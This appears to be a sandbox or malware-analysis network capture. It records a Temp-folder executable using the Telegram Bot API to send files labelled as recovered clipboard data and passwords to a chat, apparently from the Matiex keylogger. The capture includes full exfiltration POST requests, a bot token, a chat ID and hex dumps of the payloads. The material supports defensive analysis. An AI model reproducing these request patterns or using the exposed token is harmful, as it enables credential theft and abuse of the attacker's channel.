2021-09-13 04:32:13 UTC	7178	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:13 UTC	7194	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:13 UTC	7210	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:13 UTC	7226	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:13 UTC	7242	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:13 UTC	7258	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:13 UTC	7274	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:13 UTC	7290	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:13 UTC	7306	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:13 UTC	7322	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:13 UTC	7338	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:13 UTC	7354	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:13 UTC	7365	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:13 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:13 UTC	7365	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 33 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":318,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507533,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49789	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:00 UTC	5	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680311208c1 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:00 UTC	6	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 31 31 32 30 38 63 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d97680311208c1Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:00 UTC	6	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:00 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:00 UTC	7	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 30 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":283,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507520,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49825	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:13 UTC	7366	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803934d435 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:13 UTC	7367	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 39 33 34 64 34 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803934d435Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:13 UTC	7367	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:13 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:13 UTC	7368	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 33 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":319,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507533,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49826	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:13 UTC	7368	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680395634b8 Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:13 UTC	7369	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 39 35 36 33 34 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 